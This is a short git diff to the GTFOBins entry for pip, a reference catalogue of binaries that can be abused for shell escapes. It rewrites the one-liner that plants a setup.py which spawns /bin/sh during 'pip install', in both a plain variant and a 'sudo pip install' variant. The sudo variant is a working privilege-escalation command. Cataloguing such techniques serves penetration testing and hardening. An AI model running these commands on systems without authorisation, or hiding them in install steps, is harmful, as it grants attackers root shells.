diff --git a/_gtfobins/pip.md b/_gtfobins/pip.md
index 7e4ae05..4d0870f 100644
--- a/_gtfobins/pip.md
+++ b/_gtfobins/pip.md
@@ -5,11 +5,11 @@ functions:
   execute-interactive:
     - code: |
         TF=$(mktemp -d)
-        echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
+        echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
         pip install $TF
   sudo-enabled:
     - code: |
         TF=$(mktemp -d)
-        echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
+        echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
         sudo pip install $TF
 ---